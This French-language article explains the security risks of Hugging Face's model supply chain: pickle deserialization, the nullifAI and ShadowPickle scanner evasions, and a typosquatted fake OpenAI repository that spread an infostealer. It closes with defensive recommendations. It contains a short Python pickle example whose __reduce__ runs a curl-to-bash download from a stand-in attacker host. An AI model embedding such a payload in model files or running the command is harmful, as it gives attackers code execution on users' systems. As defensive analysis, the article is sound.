Hugging Face est devenu le nouveau npm — et il a les mêmes failles
Trois vagues d’attaques en dix-huit mois — nullifAI, ShadowPickle, faux dépôt OpenAI — montrent que la supply chain de l’IA est aujourd’hui le maillon faible des déploiements en production. La parade existe, mais elle exige de traiter chaque modèle téléchargé comme un binaire non vérifié.
Février 2025, les chercheurs de ReversingLabs découvrent deux modèles malveillants sur Hugging Face qui contournent le scanner officiel en changeant simplement le format de compression. Avril 2026, un faux dépôt OpenAI atteint la première place des tendances en dix-huit heures et récolte 244 000 téléchargements avant d’être retiré. Juin 2026, l’audit externe du format Safetensors — commandé par Hugging Face, EleutherAI et Stability AI — conclut que le format est prêt à devenir le standard industriel. Entre ces trois dates, la supply chain de l’IA a révélé ce que la supply chain logicielle avait mis quinze ans à apprendre : un registre ouvert sans signature obligatoire est un vecteur d’attaque systémique.
La plateforme héberge aujourd’hui plus de deux millions de modèles, sert plus de deux milliards de téléchargements par mois et alimente la quasi-totalité des déploiements d’IA en production, des startups aux Fortune 500. Le problème : la confiance implicite que les développeurs accordent à un modèle bien noté est exactement la même que celle qui a permis aux paquets malveillants de prospérer sur npm et PyPI pendant des années.
Hugging Face — le npm de l’IA
Le parallèle n’est pas une hyperbole. Les développeurs JavaScript écrivent npm install, les ingénieurs ML écrivent AutoModel.from_pretrained. Dans les deux cas, une commande unique télécharge du code et des données depuis un registre public, avec une chaîne de confiance qui repose sur la réputation et le nom de l’organisation émettrice — pas sur une vérification cryptographique.
Mais là où npm a mis dix ans à développer un écosystème de signatures, d’audit et de namespaces protégés, Hugging Face doit résoudre le même problème en quelques mois, avec une surface d’attaque bien plus large. Un modèle pickle peut exécuter du code arbitraire au moment du chargement. Aucun paquet npm légitime ne fait ça.
Les chiffres de 2026 donnent l’échelle du risque. Les modèles au format pickle représentent encore environ 45 % des modèles populaires sur le Hub, et les dépôts pickle cumulent 2,1 milliards de téléchargements mensuels. Le format sécurisé Safetensors, qui ne contient que des tenseurs sans chemin d’exécution, équipe désormais 67 % des modèles du catalogue — mais un tiers des artefacts en circulation restent vulnérables structurellement.
Pickle — la faille qui n’en finit pas
Le format pickle de Python a été conçu pour la sérialisation d’objets, pas pour le transfert de modèles entre organisations qui ne se font pas confiance. Sa méthode __reduce__ permet à n’importe quel objet sérialisé de déclencher l’exécution d’une fonction arbitraire à la désérialisation. En pratique :
import pickle, os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ("curl http://c2.attacker.com/shell.sh | bash",))
with open("pytorch_model.bin", "wb") as f:
f.write(pickle.dumps(MaliciousPayload())) Le chargement de ce fichier avec torch.load() — l’appel le plus banal d’un pipeline ML — exécute la commande sans demande de confirmation. PyTorch 2.6 a changé le paramètre par défaut weights_only de False à True, ce qui bloque les objets non-tenseurs, mais des millions d’environnements tournent encore sur des versions antérieures.
Hugging Face maintient Picklescan, un outil qui désassemble les flux pickle et bloque les opcodes dangereux (os.system, subprocess.Popen, eval). L’approche est structurellement limitée : il existe des milliers de callables légitimes importés par les bibliothèques ML, et la frontière entre « dangereux » et « normal » est floue. Les quatre CVE publiées par Sonatype en 2025 — CVE-2025-1716, CVE-2025-1889, CVE-2025-1944, CVE-2025-1945 — illustrent à quel point un scanner basé sur une liste noire est poreux. Un fichier pickle avec une extension non standard, un magic byte corrompu ou une compression alternative passe au travers.
nullifAI — la leçon que personne n’a retenue
L’attaque nullifAI, documentée par ReversingLabs en février 2025, mérite d’être relue. Les attaquants n’ont pas cherché à cacher le code malveillant à l’intérieur du pickle — ils ont caché le pickle lui-même.
Le fonctionnement est trivial : PyTorch stocke ses modèles dans une archive ZIP contenant un flux pickle. Picklescan décompresse le ZIP et scanne le flux. Les attaquants ont remplacé le conteneur ZIP par une archive 7z. Picklescan, qui ne reconnaissait pas l’en-tête 7z, sautait le fichier silencieusement. torch.load(), plus permissif, lisait le flux pickle interne sans broncher — et exécutait le reverse shell qui s’y trouvait.
Hugging Face a supprimé les modèles en moins de vingt-quatre heures et mis à jour Picklescan pour reconnaître les archives 7z. Mais le problème de fond — un désaccord entre ce que voit le défenseur et ce que consomme l’utilisateur — est une classe de vulnérabilité qui ne disparaît pas avec un patch de scanner.
L’étude ShadowPickle (prépublication 2026) a confirmé l’ampleur du phénomène : sa variante « Overwritten », la plus efficace, atteint un taux d’évasion de 63 % sur dix scanners différents. Plus de la moitié des modèles malveillants testés passent tous les contrôles.
Typosquatting — la contrefaçon qui tue
En mai 2026, un dépôt nommé Open-OSS/privacy-filter apparaît sur Hugging Face. Il copie mot pour mot la fiche descriptive du modèle légitime openai/privacy-filter. En dix-huit heures, il atteint la première place des tendances avec 244 000 téléchargements et 667 likes, gonflés artificiellement.
Le fichier loader.py contenu dans le dépôt ne stockait jamais sa charge utile localement. Il décodait une URL chiffrée en base64 pointant vers un document JSON hébergé sur jsonkeeper.com, téléchargeait la commande PowerShell contenue dans le champ cmd, et l’exécutait. Le payload final était un infostealer complet ciblant :
- Les données de navigation (Chromium, Gecko) — cookies, mots de passe, historique
- Les tokens Discord
- Les portefeuilles de cryptomonnaie et leurs phrases de récupération
- Les configurations FileZilla et les clés SSH
Les chercheurs de HiddenLayer ont identifié six dépôts supplémentaires sous le même compte, tous créés le 24 avril 2026, ce qui suggère une campagne coordonnée de supply chain.
Le signal de détection le plus simple est le plus ignoré : un dépôt vieux de trois jours avec plus de 100 000 téléchargements n’est pas un succès viral, c’est une fraude aux métriques.
Safetensors — la sortie de crise, si on l’adopte
Deux mécanismes de défense convergent, et ils sont complémentaires.
Le format Safetensors, créé par Hugging Face, est un conteneur binaire à en-tête JSON qui ne stocke que des tenseurs. Il n’y a aucun chemin d’exécution possible au chargement — pas de pickle, pas de __reduce__, pas de désérialisation arbitraire. L’audit externe de juin 2026, commandé conjointement par Hugging Face, EleutherAI et Stability AI, a confirmé que le format est prêt à servir de standard industriel. Les modèles majeurs — Llama, Mistral, Falcon, Stable Diffusion — sont tous disponibles en Safetensors.
Le projet OpenSSF Model Signing, porté par NVIDIA et HiddenLayer, a livré sa version 1.0 en avril 2025. Il permet aux éditeurs de signer leurs artefacts avec Sigstore et aux consommateurs de vérifier les signatures avant chargement. Un modèle Safetensors signé apporte la preuve cryptographique que l’artefact provient bien de l’organisation qui le revendique — l’équivalent de ce que npm provenance et PyPI trusted publishing apportent à leurs écosystèmes respectifs.
Ce qu’il faut faire — et ce qu’il ne faut plus faire
Le registre de modèles IA est devenu le maillon faible de la chaîne de déploiement. Voici ce qu’un RSSI ou un responsable ML peut exiger aujourd’hui, sans attendre un Rust-based rewrite du format ou une régulation sectorielle.
Bloquer le format pickle. La règle la plus simple et la plus efficace : refuser tout modèle au format .bin, .pt, .pth et n’accepter que les .safetensors ou .gguf à l’entrée du pipeline. Si un fournisseur ne propose pas de version Safetensors, exigez-la ou isolez le chargement dans une VM sans accès réseau.
Vérifier les signatures avec OpenSSF Model Signing. Avant tout chargement, contrôlez que le modèle est signé par l’organisation attendue. Un modèle non signé n’est pas nécessairement malveillant, mais il n’a aucune chaîne de provenance — traitez-le comme tel.
Bloquer trust_remote_code=True. Cette option permet à un dépôt distant d’exécuter du code arbitraire sur votre infrastructure. Elle doit être désactivée par défaut dans la configuration du runtime, pas laissée à la discrétion du développeur.
Maintenir un registre interne. Miroiter les modèles approuvés en interne. Appliquer une allow-list d’organisations de confiance (openai/, meta-llama/, mistralai/, google/) et refuser les artefacts provenant d’éditeurs non vérifiés sans revue de sécurité explicite.
Ne pas se fier aux métriques publiques. Les téléchargements et les likes sont falsifiables. Le signal fiable, c’est l’âge du dépôt couplé au volume de téléchargements, la présence de signatures, et l’historique de l’organisation émettrice.
La supply chain de l’IA ne se sécurisera pas toute seule. npm a mis dix ans à construire un filet de sécurité qui reste imparfait. Hugging Face n’a pas dix ans — les équipes qui déploient des modèles en production aujourd’hui doivent appliquer ces contrôles maintenant, ou accepter que leur pipeline d’inférence soit le prochain vecteur d’intrusion documenté.
Références
- ReversingLabs — Malicious ML Models Discovered on Hugging Face Platform (février 2025)
- BleepingComputer — Fake OpenAI repository on Hugging Face pushes infostealer malware (mai 2026)
- Hive Security — Poisoned AI: How Hugging Face Became a Malware Distribution Platform (2026)
- Safeguard — nullifAI Hugging Face Pickle Attack Analysis (février 2025)
- Sonatype — Picklescan Security Advisories (CVE-2025-1716, CVE-2025-1889, CVE-2025-1944, CVE-2025-1945)
- Groundy — Safetensors vs Pickle: Why Hugging Face Chose It After the Security Audit (juin 2026)
- Stingrai — Hugging Face Malicious Models: PickleScan and SafeTensors (2026)
- Safeguard — AI Model Supply Chain Risks: Hugging Face and the New Attack Surface
- Hugging Face — Safetensors Documentation
- The Hacker News — Malicious ML Models on Hugging Face Leverage Broken Pickle Format (février 2025)